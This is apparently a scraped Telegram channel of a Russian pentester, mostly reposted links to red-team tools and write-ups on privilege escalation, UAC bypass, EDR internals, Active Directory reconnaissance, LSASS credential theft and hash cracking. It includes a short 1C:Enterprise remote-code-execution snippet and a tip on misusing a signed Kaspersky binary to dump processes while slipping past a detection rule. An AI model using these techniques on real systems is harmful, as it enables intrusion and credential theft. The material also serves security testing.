NEW BOT Телеграм, страница

Pentester`s Notes

Для 1с_rce нужно код вставить

89 viewshidden, 19:59

Pentester`s Notes

Forwarded from Pentester`s Notes

shell=New COMObject("WScript.Shell");
e=shell.Exec("whoami");
Сообщить(e.StdOut.ReadAll());

#1c #1с #rce 1c rce

75 viewshidden, 19:59

Pentester`s Notes

В ближайшее время планирую обработать исходный код этих обработок и собрать в одну универсальную, с возможностью выбора той или иной. Над реализацией ещё подумаю

78 viewshidden, 20:00

Pentester`s Notes

Надо будет потестить, возможно стабильнее, чем rdp2tcp

70 viewshidden, 05:57

Pentester`s Notes

Forwarded from true_security

Крутая тулза для организации socks через rdp соединение, работает практически без детектов. https://github.com/nccgroup/SocksOverRDP

Обратить внимание на строку:
#define SocksOverRDP_CHANNEL_NAME "SocksChannel"
Ну вы поняли☺️

GitHub

GitHub - nccgroup/SocksOverRDP: Socks5/4/4a Proxy support for Remote Desktop Protocol / Terminal Services / Citrix / XenApp / XenDesktop

Socks5/4/4a Proxy support for Remote Desktop Protocol / Terminal Services / Citrix / XenApp / XenDesktop - nccgroup/SocksOverRDP

67 viewshidden, 05:57

Pentester`s Notes

Forwarded from 1N73LL1G3NC3

GTFONow

Automatic privilege escalation for misconfigured capabilities, sudo and suid binaries using GTFOBins.

58 viewshidden, 09:33

Pentester`s Notes

Forwarded from Ralf Hacker Channel (Ralf Hacker)

Чекер виндовых CVE

https://github.com/BC-SECURITY/Moriarty

* Windows 10 (1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H2)
* Windows 11 (21H2, 22H2)
* Windows Server 2016, 20 19, 2022

#exploit #cve #pentest #redteam #ad

GitHub

GitHub - BC-SECURITY/Moriarty: Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential…

Moriarty is designed to enumerate missing KBs, detect various vulnerabilities, and suggest potential exploits for Privilege Escalation in Windows environments. - GitHub - BC-SECURITY/Moriarty: Mor...

57 viewshidden, 20:39

Pentester`s Notes

Forwarded from Magama Bazarov

https://docs.google.com/document/d/1Cu2e-zWtOV4lCZNSLZbka5b9imcST7hNvLPxcAaENoo/edit

Лучше это почитайте, Вадим Шелест крутую матрицу написал

Google Docs

Матрица компетенций

Матрица компетенций

Позиция: Стажер (нет опыта работы) Ключевые навыки: Понимание основных принципов работы инструментов безопасности ОС (Linux/Windows) на уровне пользователя Понимание основных принципов работы и построения сетей на начальном…

70 viewshidden, 18:00

Pentester`s Notes

Forwarded from true_security

Сегодня в одном чате ребята обсуждали написание статьи про Lolbins.
Вот вам один интересный lolbas - C:\Program Files (x86)\Kaspersky Lab\NetworkAgent\kldumper.exe
описание - https://support.kaspersky.ru/common/diagnostics/7641
преза от ЛК, где предлагается сигма правило с исключением данного бинаря из сработки по дампу lsass - https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

у kldumper.exe цифровая подпись ЛК. lsass им не дампил еще, но другие процессы дампит ок (при наличии прав лок админа)

64 viewshidden, 10:54

Pentester`s Notes

Forwarded from APT

👩‍💻

Writing your own RDI /sRDI loader using C and ASM

Learn the process of crafting a personalized RDI/sRDI loader in C and ASM, incorporating code optimization to achieve full position independence.

🔗 https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm/

#maldev #reflective #dll #clang #asm

Please open Telegram to view this post

VIEW IN TELEGRAM

Malicious Group

Writing your own RDI /sRDI loader using C and ASM

In this post, I am going to show the readers how to write their own RDI/sRDI loader in C, and then show how to optimize the code to make it fully position independent.

65 viewshidden, 19:38

Pentester`s Notes

Forwarded from Ralf Hacker Channel (Ralf Hacker)

Очень большая и полная статья про принципы работы EDR

https://sensepost.com/blog/2024/sensecon-23-from-windows-drivers-to-an-almost-fully-working-edr/

Автор даже свои модули писал чтобы лучше разобраться

https://github.com/sensepost/mydumbedr

#redteam #edr #blueteam

73 viewshidden, 06:25

Pentester`s Notes

Forwarded from Offensive-SEC

The Art of Linux Persistence.pdf.pdf

6.9 MB

https://news.1rj.ru/str/offenciveSec

71 viewshidden, 19:40

Pentester`s Notes

Forwarded from 👹ℤ𝕝𝕠𝕓𝕝𝕪𝕒👹

https://netacad.sadlab.su

netacad.sadlab.su

AntiNetacad

Пока Cisco приостановила деятельность в РФ, учёба продолжается.
Полностью рабочие версии курсов со всеми материалами Netacad от компании Cisco на русском и английском языках.
Для изучения доступны курсы:
Networking Essentials;
IT Essentials…

72 viewshidden, 05:06

Pentester`s Notes

Forwarded from Миша

https://hadess.io/user-account-control-uncontrol-mastering-the-art-of-bypassing-windows-uac/

69 viewshidden, 19:41

Pentester`s Notes

Forwarded from Offensive Xwitter

😈 [ MDSec @MDSecLabs ]

Interested in sharpening your red team AD recon? Check out our latest post by @domchell, "Active Directory Enumeration for Red Teams"

🔗 https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/

🐥 [ tweet ]

73 viewshidden, 14:59

Pentester`s Notes

Forwarded from Ralf Hacker Channel (Ralf Hacker)

Хороший функционал

https://github.com/wh0amitz/SharpADWS

#ad #recon #redteam #pentest

GitHub

GitHub - wh0amitz/SharpADWS: Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services…

Active Directory reconnaissance and exploitation for Red Teams via the Active Directory Web Services (ADWS). - wh0amitz/SharpADWS

79 viewshidden, 05:00

Pentester`s Notes

Forwarded from Кавычка (Bo0oM)

Быстро и дешево брутим хэши

Короч, есть чуваки такие, immers.cloud

По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.

Тут есть два варианта развития событий.

Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:


sudo apt-get update
sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y
https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run
chmod +x NVIDIA-Linux-x86_64-470.63.01.run
sudo ./NVIDIA-Linux-x86_64-470.63.01.run

Устанавливаем hashcat и играемся с этим всем.

Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.

Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20?
В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.

>

🔥1

94 viewsAlexander, 13:07

Pentester`s Notes

Атаки на Active Directory: часть 1 | DefconRU
https://defcon.ru/penetration-testing/18872/

95 viewshidden, 13:04

Pentester`s Notes

Forwarded from Внутрянка

Материал про пентест 1С

Ardent101

Еще 1 раз про пентест 1С

Введение Настоящий материал по большей части состоит из общедоступных наработок других людей. Целью было проверить указанные наработки на практике и собрать получившиеся результаты в одном месте. Именно этим объясняется название статьи.
Продолжу рассуждение…

86 viewshidden, 16:50

Pentester`s Notes

Forwarded from RedTeam brazzers (Миша)

DC7499.pptx

5.2 MB

Способы получения учетных данных без взаимодействия с процессом lsass.exe

Продолжаю свой небольшой курс лекций, который я с радостью читаю в университете :) На этот раз решил подсветить и обратить внимание на варианты извлечения учётных данных без взаимодействия с процессом lsass.exe. Изначально презентация создавалась под субботнюю встречу DC7499, но записей оттуда пока что нет, поэтому я прочитал материал ещё раз, ведь тема действительно важная и может когда-нибудь спасти проект :)

С записью можно ознакомиться вот тут:
https://vk.com/video-210214143_456239063?list=07690309879b933b1b

84 viewshidden, 20:26

Pentester`s Notes

Forwarded from Offensive Xwitter

😈 [ Evan McBroom @mcbroom_evan ]

I just published a blog and tool for the LSA Whisperer work that was presented at the SpecterOps Conference (SOCON) back in March.

If you are interested in getting credentials from LSASS without accessing its memory, check it out!

Blog:
🔗 https://medium.com/specter-ops-posts/lsa-whisperer-20874277ea3b

Tool:
🔗 https://github.com/Meowmycks/LetMeowIn

Crossposted on GH:
🔗 https://gist.github.com/EvanMcBroom/dceb1c7070ee3278eaedd04b42aed279

🐥 [ tweet ]

90 viewshidden, 20:26

About

Blog

Apps

Platform